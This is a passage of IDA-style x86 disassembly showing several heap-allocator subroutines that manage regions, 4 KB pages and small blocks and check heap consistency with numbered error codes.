		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+10h]
		mov	[ebp+var_8], edx
		jmp	short loc_428A26
; ---------------------------------------------------------------------------


loc_428A11:				; CODE XREF: sub_428920:loc_428A92j
		mov	eax, [ebp+var_4]
		add	eax, 8
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		add	ecx, 1000h
		mov	[ebp+var_8], ecx


loc_428A26:				; CODE XREF: sub_428920+EFj
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+var_10]
		jnb	short loc_428A97
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		cmp	ecx, [ebp+arg_0]
		jl	short loc_428A92
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		cmp	eax, [ebp+arg_0]
		jbe	short loc_428A92
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_428CE0
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_428A89
		mov	edx, [ebp+var_20]
		mov	off_4522D8, edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		sub	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_4]
		mov	[edx], ecx
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_C]
		jmp	loc_428CD4
; ---------------------------------------------------------------------------


loc_428A89:				; CODE XREF: sub_428920+140j
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		mov	[edx+4], eax


loc_428A92:				; CODE XREF: sub_428920+116j
					; sub_428920+121j
		jmp	loc_428A11
; ---------------------------------------------------------------------------


loc_428A97:				; CODE XREF: sub_428920+15j
					; sub_428920+10Cj
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_20]
		cmp	eax, off_4522D8
		jnz	loc_42892E
		mov	[ebp+var_20], offset off_4502B8


loc_428AB5:				; CODE XREF: sub_428920+346j
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [ecx+10h], 0FFFFFFFFh
		jz	loc_428C57
		mov	edx, [ebp+var_20]
		cmp	dword ptr [edx+0Ch], 0
		jz	loc_428C57
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+0Ch]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_20]
		add	edx, 18h
		mov	eax, [ebp+var_4]
		sub	eax, edx
		sar	eax, 3
		shl	eax, 0Ch
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+10h]
		add	edx, eax
		mov	[ebp+var_8], edx
		mov	[ebp+var_14], 0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		jmp	short loc_428B15
; ---------------------------------------------------------------------------


loc_428B03:				; CODE XREF: sub_428920+203j
		mov	ecx, [ebp+var_10]
		add	ecx, 8
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx


loc_428B15:				; CODE XREF: sub_428920+1E1j
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_428B25
		cmp	[ebp+var_14], 10h
		jge	short loc_428B25
		jmp	short loc_428B03
; ---------------------------------------------------------------------------


loc_428B25:				; CODE XREF: sub_428920+1FBj
					; sub_428920+201j
		push	4
		push	1000h
		mov	ecx, [ebp+var_14]
		shl	ecx, 0Ch
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		nop
		call	near ptr 29A0E5Dh
		cmp	eax, [ebp+var_8]
		jnz	loc_428C53
		push	0
		mov	eax, [ebp+var_14]
		shl	eax, 0Ch
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_421410
		add	esp, 0Ch
		mov	[ebp+var_18], 0
		mov	edx, [ebp+var_8]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		jmp	short loc_428B8E
; ---------------------------------------------------------------------------


loc_428B70:				; CODE XREF: sub_428920+2A8j
		mov	ecx, [ebp+var_18]
		add	ecx, 1
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_1C]
		add	edx, 1000h
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_10]
		add	eax, 8
		mov	[ebp+var_10], eax


loc_428B8E:				; CODE XREF: sub_428920+24Ej
		mov	ecx, [ebp+var_18]
		cmp	ecx, [ebp+var_14]
		jge	short loc_428BCA
		mov	edx, [ebp+var_1C]
		add	edx, 8
		mov	eax, [ebp+var_1C]
		mov	[eax], edx
		mov	ecx, [ebp+var_1C]
		mov	dword ptr [ecx+4], 0F0h
		mov	edx, [ebp+var_1C]
		mov	byte ptr [edx+0F8h], 0FFh
		mov	eax, [ebp+var_10]
		mov	dword ptr [eax], 0F0h
		mov	ecx, [ebp+var_10]
		mov	dword ptr [ecx+4], 0F1h
		jmp	short loc_428B70
; ---------------------------------------------------------------------------


loc_428BCA:				; CODE XREF: sub_428920+274j
		mov	edx, [ebp+var_20]
		mov	off_4522D8, edx


loc_428BD3:				; CODE XREF: sub_428920+2D1j
		mov	eax, [ebp+var_20]
		add	eax, 2018h
		cmp	[ebp+var_10], eax
		jnb	short loc_428BF3
		mov	ecx, [ebp+var_10]
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_428BF3
		mov	edx, [ebp+var_10]
		add	edx, 8
		mov	[ebp+var_10], edx
		jmp	short loc_428BD3
; ---------------------------------------------------------------------------


loc_428BF3:				; CODE XREF: sub_428920+2BEj
					; sub_428920+2C6j
		mov	eax, [ebp+var_20]
		add	eax, 2018h
		cmp	[ebp+var_10], eax
		sbb	ecx, ecx
		and	ecx, [ebp+var_10]
		mov	edx, [ebp+var_20]
		mov	[edx+0Ch], ecx
		mov	eax, [ebp+var_8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax+8], cl
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_4]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		sub	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		lea	eax, [edx+ecx+8]
		mov	ecx, [ebp+var_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		sub	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[ecx+4], eax
		mov	eax, [ebp+var_8]
		add	eax, 100h
		jmp	loc_428CD4
; ---------------------------------------------------------------------------


loc_428C53:				; CODE XREF: sub_428920+220j
		xor	eax, eax
		jmp	short loc_428CD4
; ---------------------------------------------------------------------------


loc_428C57:				; CODE XREF: sub_428920+19Cj
					; sub_428920+1A9j
		mov	edx, [ebp+var_20]
		mov	eax, [edx]
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], offset off_4502B8
		jnz	loc_428AB5
		call	sub_428460
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_428CD2
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+10h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax+8], cl
		mov	edx, [ebp+var_20]
		mov	off_4522D8, edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax+8]
		mov	eax, [ebp+var_8]
		mov	[eax], edx
		mov	ecx, 0F0h
		sub	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+18h]
		sub	edx, eax
		mov	eax, [ebp+var_20]
		mov	[eax+18h], edx
		mov	eax, [ebp+var_8]
		add	eax, 100h
		jmp	short loc_428CD4
; ---------------------------------------------------------------------------


loc_428CD2:				; CODE XREF: sub_428920+358j
		xor	eax, eax


loc_428CD4:				; CODE XREF: sub_428920+C1j
					; sub_428920+164j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_428920	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428CE0	proc near		; CODE XREF: sub_428920+8Ep
					; sub_428920+131p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		add	eax, 0F8h
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		cmp	edx, [ebp+arg_8]
		jb	short loc_428D6D
		mov	eax, [ebp+var_8]
		mov	cl, byte ptr [ebp+arg_8]
		mov	[eax], cl
		mov	edx, [ebp+var_8]
		add	edx, [ebp+arg_8]
		cmp	edx, [ebp+var_14]
		jnb	short loc_428D3B
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		sub	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx
		jmp	short loc_428D50
; ---------------------------------------------------------------------------


loc_428D3B:				; CODE XREF: sub_428CE0+3Bj
		mov	eax, [ebp+arg_0]
		add	eax, 8
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+4], 0


loc_428D50:				; CODE XREF: sub_428CE0+59j
		mov	eax, [ebp+arg_0]
		add	eax, 8
		mov	ecx, [ebp+var_8]
		sub	ecx, eax
		shl	ecx, 4
		mov	edx, [ebp+arg_0]
		lea	eax, [edx+ecx+100h]
		jmp	loc_428F85
; ---------------------------------------------------------------------------


loc_428D6D:				; CODE XREF: sub_428CE0+28j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_8]
		xor	eax, eax
		mov	al, [edx+ecx]
		test	eax, eax
		jz	short loc_428D8B
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		add	edx, [ecx+4]
		mov	[ebp+var_8], edx


loc_428D8B:				; CODE XREF: sub_428CE0+9Dj
					; sub_428CE0:loc_428E84j
		mov	eax, [ebp+var_8]
		add	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_14]
		jnb	loc_428E89
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jnz	loc_428E75
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], 1
		jmp	short loc_428DCD
; ---------------------------------------------------------------------------


loc_428DBB:				; CODE XREF: sub_428CE0+F8j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx


loc_428DCD:				; CODE XREF: sub_428CE0+D9j
		mov	eax, [ebp+var_C]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jnz	short loc_428DDA
		jmp	short loc_428DBB
; ---------------------------------------------------------------------------


loc_428DDA:				; CODE XREF: sub_428CE0+F6j
		mov	edx, [ebp+var_10]
		cmp	edx, [ebp+arg_8]
		jnb	short loc_428E15
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_4]
		jnz	short loc_428DF5
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		mov	[ecx+4], edx
		jmp	short loc_428E0D
; ---------------------------------------------------------------------------


loc_428DF5:				; CODE XREF: sub_428CE0+108j
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+var_10]
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_428E0D
		xor	eax, eax
		jmp	loc_428F85
; ---------------------------------------------------------------------------


loc_428E0D:				; CODE XREF: sub_428CE0+113j
					; sub_428CE0+124j
		mov	edx, [ebp+var_C]
		mov	[ebp+var_8], edx
		jmp	short loc_428E73
; ---------------------------------------------------------------------------


loc_428E15:				; CODE XREF: sub_428CE0+100j
		mov	eax, [ebp+var_8]
		add	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_14]
		jnb	short loc_428E39
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		jmp	short loc_428E4E
; ---------------------------------------------------------------------------


loc_428E39:				; CODE XREF: sub_428CE0+13Ej
		mov	edx, [ebp+arg_0]
		add	edx, 8
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+4], 0


loc_428E4E:				; CODE XREF: sub_428CE0+157j
		mov	edx, [ebp+var_8]
		mov	al, byte ptr [ebp+arg_8]
		mov	[edx], al
		mov	ecx, [ebp+arg_0]
		add	ecx, 8
		mov	edx, [ebp+var_8]
		sub	edx, ecx
		shl	edx, 4
		mov	eax, [ebp+arg_0]
		lea	eax, [eax+edx+100h]
		jmp	loc_428F85
; ---------------------------------------------------------------------------


loc_428E73:				; CODE XREF: sub_428CE0+133j
		jmp	short loc_428E84
; ---------------------------------------------------------------------------


loc_428E75:				; CODE XREF: sub_428CE0+C3j
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+var_8]
		add	eax, edx
		mov	[ebp+var_8], eax


loc_428E84:				; CODE XREF: sub_428CE0:loc_428E73j
		jmp	loc_428D8B
; ---------------------------------------------------------------------------


loc_428E89:				; CODE XREF: sub_428CE0+B4j
		mov	ecx, [ebp+arg_0]
		add	ecx, 8
		mov	[ebp+var_8], ecx


loc_428E92:				; CODE XREF: sub_428CE0:loc_428F7Ej
		mov	edx, [ebp+var_8]
		cmp	edx, [ebp+var_4]
		jnb	loc_428F83
		mov	eax, [ebp+var_8]
		add	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_14]
		jnb	loc_428F83
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jnz	loc_428F6F
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], 1
		jmp	short loc_428EE0
; ---------------------------------------------------------------------------


loc_428ECE:				; CODE XREF: sub_428CE0+20Bj
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx


loc_428EE0:				; CODE XREF: sub_428CE0+1ECj
		mov	eax, [ebp+var_C]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jnz	short loc_428EED
		jmp	short loc_428ECE
; ---------------------------------------------------------------------------


loc_428EED:				; CODE XREF: sub_428CE0+209j
		mov	edx, [ebp+var_10]
		cmp	edx, [ebp+arg_8]
		jnb	short loc_428F12
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+var_10]
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_428F0A
		xor	eax, eax
		jmp	short loc_428F85
; ---------------------------------------------------------------------------


loc_428F0A:				; CODE XREF: sub_428CE0+224j
		mov	edx, [ebp+var_C]
		mov	[ebp+var_8], edx
		jmp	short loc_428F6D
; ---------------------------------------------------------------------------


loc_428F12:				; CODE XREF: sub_428CE0+213j
		mov	eax, [ebp+var_8]
		add	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_14]
		jnb	short loc_428F36
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		jmp	short loc_428F4B
; ---------------------------------------------------------------------------


loc_428F36:				; CODE XREF: sub_428CE0+23Bj
		mov	edx, [ebp+arg_0]
		add	edx, 8
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+4], 0


loc_428F4B:				; CODE XREF: sub_428CE0+254j
		mov	edx, [ebp+var_8]
		mov	al, byte ptr [ebp+arg_8]
		mov	[edx], al
		mov	ecx, [ebp+arg_0]
		add	ecx, 8
		mov	edx, [ebp+var_8]
		sub	edx, ecx
		shl	edx, 4
		mov	eax, [ebp+arg_0]
		lea	eax, [eax+edx+100h]
		jmp	short loc_428F85
; ---------------------------------------------------------------------------


loc_428F6D:				; CODE XREF: sub_428CE0+230j
		jmp	short loc_428F7E
; ---------------------------------------------------------------------------


loc_428F6F:				; CODE XREF: sub_428CE0+1D6j
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+var_8]
		add	eax, edx
		mov	[ebp+var_8], eax


loc_428F7E:				; CODE XREF: sub_428CE0:loc_428F6Dj
		jmp	loc_428E92
; ---------------------------------------------------------------------------


loc_428F83:				; CODE XREF: sub_428CE0+1B8j
					; sub_428CE0+1C7j
		xor	eax, eax


loc_428F85:				; CODE XREF: sub_428CE0+88j
					; sub_428CE0+128j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_428CE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428F90	proc near		; CODE XREF: sub_425D30+161p
					; sub_425F40+2D1p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[ebp+var_14], 0
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		mov	edx, [ebp+arg_0]
		lea	eax, [edx+ecx*8+18h]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_C]
		jbe	short loc_428FF7
		mov	ecx, [ebp+arg_8]
		mov	dl, byte ptr [ebp+arg_C]
		mov	[ecx], dl
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		add	edx, eax
		mov	eax, [ebp+var_4]
		mov	[eax], edx
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0F1h
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx
		jmp	loc_4290ED
; ---------------------------------------------------------------------------


loc_428FF7:				; CODE XREF: sub_428F90+33j
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_C]
		jnb	loc_4290ED
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+arg_C]
		mov	edx, [ebp+arg_4]
		add	edx, 0F8h
		cmp	ecx, edx
		ja	loc_4290ED
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+arg_C]
		mov	[ebp+var_18], ecx
		jmp	short loc_429037
; ---------------------------------------------------------------------------


loc_42902E:				; CODE XREF: sub_428F90+BAj
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx


loc_429037:				; CODE XREF: sub_428F90+9Cj
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_18]
		jnb	short loc_42904C
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jnz	short loc_42904C
		jmp	short loc_42902E
; ---------------------------------------------------------------------------


loc_42904C:				; CODE XREF: sub_428F90+ADj
					; sub_428F90+B8j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_18]
		jnz	loc_4290ED
		mov	ecx, [ebp+arg_8]
		mov	dl, byte ptr [ebp+arg_C]
		mov	[ecx], dl
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		cmp	ecx, [eax]
		ja	short loc_4290D2
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_18]
		cmp	eax, [edx]
		jbe	short loc_4290D2
		mov	ecx, [ebp+arg_4]
		add	ecx, 0F8h
		cmp	[ebp+var_18], ecx
		jnb	short loc_4290BD
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_18]
		mov	[edx], eax
		mov	[ebp+var_8], 0
		jmp	short loc_4290A5
; ---------------------------------------------------------------------------


loc_429093:				; CODE XREF: sub_428F90+120j
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_18]
		add	edx, 1
		mov	[ebp+var_18], edx


loc_4290A5:				; CODE XREF: sub_428F90+101j
		mov	eax, [ebp+var_18]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jnz	short loc_4290B2
		jmp	short loc_429093
; ---------------------------------------------------------------------------


loc_4290B2:				; CODE XREF: sub_428F90+11Ej
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_8]
		mov	[edx+4], eax
		jmp	short loc_4290D2
; ---------------------------------------------------------------------------


loc_4290BD:				; CODE XREF: sub_428F90+F0j
		mov	ecx, [ebp+arg_4]
		add	ecx, 8
		mov	edx, [ebp+arg_4]
		mov	[edx], ecx
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+4], 0


loc_4290D2:				; CODE XREF: sub_428F90+D8j
					; sub_428F90+E2j ...
		mov	ecx, [ebp+var_C]
		sub	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx


loc_4290ED:				; CODE XREF: sub_428F90+62j
					; sub_428F90+6Dj ...
		mov	eax, [ebp+var_14]
		mov	esp, ebp
		pop	ebp
		retn
sub_428F90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429100	proc near		; CODE XREF: sub_426530+89p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	[ebp+var_8], 0
		mov	[ebp+var_1C], offset off_4502B8


loc_429114:				; CODE XREF: sub_429100+21Ej
		mov	eax, off_4522D8
		cmp	eax, [ebp+var_1C]
		jnz	short loc_429127
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx


loc_429127:				; CODE XREF: sub_429100+1Cj
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+10h]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jz	loc_42930F
		mov	[ebp+var_C], 0
		mov	[ebp+var_28], 0
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+10h]
		mov	[ebp+var_4], edx
		jmp	short loc_429168
; ---------------------------------------------------------------------------


loc_429153:				; CODE XREF: sub_429100:loc_42930Aj
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1000h
		mov	[ebp+var_4], ecx


loc_429168:				; CODE XREF: sub_429100+51j
		cmp	[ebp+var_C], 400h
		jge	loc_42930F
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_1C]
		cmp	dword ptr [eax+edx*8+18h], 0FFFFFFFFh
		jnz	short loc_4291B0
		cmp	[ebp+var_28], 0
		jnz	short loc_4291A2
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_1C]
		lea	eax, [edx+ecx*8+18h]
		mov	ecx, [ebp+var_1C]
		cmp	[ecx+0Ch], eax
		jz	short loc_4291A2
		or	eax, 0FFFFFFFFh
		jmp	loc_429333
; ---------------------------------------------------------------------------


loc_4291A2:				; CODE XREF: sub_429100+86j
					; sub_429100+98j
		mov	edx, [ebp+var_28]
		add	edx, 1
		mov	[ebp+var_28], edx
		jmp	loc_42930A
; ---------------------------------------------------------------------------


loc_4291B0:				; CODE XREF: sub_429100+80j
		mov	eax, [ebp+var_4]
		add	eax, 0F8h
		mov	ecx, [ebp+var_4]
		cmp	[ecx], eax
		jb	short loc_4291C9
		mov	eax, 0FFFFFFFEh
		jmp	loc_429333
; ---------------------------------------------------------------------------


loc_4291C9:				; CODE XREF: sub_429100+BDj
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx+0F8h]
		cmp	eax, 0FFh
		jz	short loc_4291E5
		mov	eax, 0FFFFFFFDh
		jmp	loc_429333
; ---------------------------------------------------------------------------


loc_4291E5:				; CODE XREF: sub_429100+D9j
		mov	[ebp+var_10], 0
		mov	[ebp+var_18], 0
		mov	[ebp+var_24], 0
		mov	[ebp+var_20], 0


loc_429201:				; CODE XREF: sub_429100:loc_4292E2j
		cmp	[ebp+var_10], 0F0h
		jge	loc_4292E7
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_4]
		lea	eax, [edx+ecx+8]
		mov	ecx, [ebp+var_4]
		cmp	eax, [ecx]
		jnz	short loc_429228
		mov	edx, [ebp+var_18]
		add	edx, 1
		mov	[ebp+var_18], edx


loc_429228:				; CODE XREF: sub_429100+11Dj
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_10]
		xor	ecx, ecx
		mov	cl, [eax+8]
		test	ecx, ecx
		jnz	short loc_429257
		mov	edx, [ebp+var_24]
		add	edx, 1
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		jmp	loc_4292E2
; ---------------------------------------------------------------------------


loc_429257:				; CODE XREF: sub_429100+135j
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_20]
		cmp	ecx, [eax+edx*8+1Ch]
		jl	short loc_429270
		mov	eax, 0FFFFFFFCh
		jmp	loc_429333
; ---------------------------------------------------------------------------


loc_429270:				; CODE XREF: sub_429100+164j
		cmp	[ebp+var_18], 1
		jnz	short loc_429294
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_20]
		cmp	eax, [edx+4]
		jge	short loc_42928B
		mov	eax, 0FFFFFFFBh
		jmp	loc_429333
; ---------------------------------------------------------------------------


loc_42928B:				; CODE XREF: sub_429100+17Fj
		mov	ecx, [ebp+var_18]
		add	ecx, 1
		mov	[ebp+var_18], ecx


loc_429294:				; CODE XREF: sub_429100+174j
		mov	[ebp+var_20], 0
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_14], edx
		jmp	short loc_4292AF
; ---------------------------------------------------------------------------


loc_4292A6:				; CODE XREF: sub_429100:loc_4292DAj
		mov	eax, [ebp+var_14]
		add	eax, 1
		mov	[ebp+var_14], eax


loc_4292AF:				; CODE XREF: sub_429100+1A4j
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_10]
		xor	edx, edx
		mov	dl, [ecx+8]
		mov	eax, [ebp+var_10]
		add	eax, edx
		cmp	[ebp+var_14], eax
		jge	short loc_4292DC
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_14]
		xor	edx, edx
		mov	dl, [ecx+8]
		test	edx, edx
		jz	short loc_4292DA
		mov	eax, 0FFFFFFFAh
		jmp	short loc_429333
; ---------------------------------------------------------------------------


loc_4292DA:				; CODE XREF: sub_429100+1D1j
		jmp	short loc_4292A6
; ---------------------------------------------------------------------------


loc_4292DC:				; CODE XREF: sub_429100+1C2j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_10], eax


loc_4292E2:				; CODE XREF: sub_429100+152j
		jmp	loc_429201
; ---------------------------------------------------------------------------


loc_4292E7:				; CODE XREF: sub_429100+108j
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+var_24]
		cmp	eax, [edx+ecx*8+18h]
		jz	short loc_4292FD
		mov	eax, 0FFFFFFF9h
		jmp	short loc_429333
; ---------------------------------------------------------------------------


loc_4292FD:				; CODE XREF: sub_429100+1F4j
		cmp	[ebp+var_18], 0
		jnz	short loc_42930A
		mov	eax, 0FFFFFFF8h
		jmp	short loc_429333
; ---------------------------------------------------------------------------


loc_42930A:				; CODE XREF: sub_429100+ABj
					; sub_429100+201j
		jmp	loc_429153
; ---------------------------------------------------------------------------


loc_42930F:				; CODE XREF: sub_429100+34j
					; sub_429100+6Fj
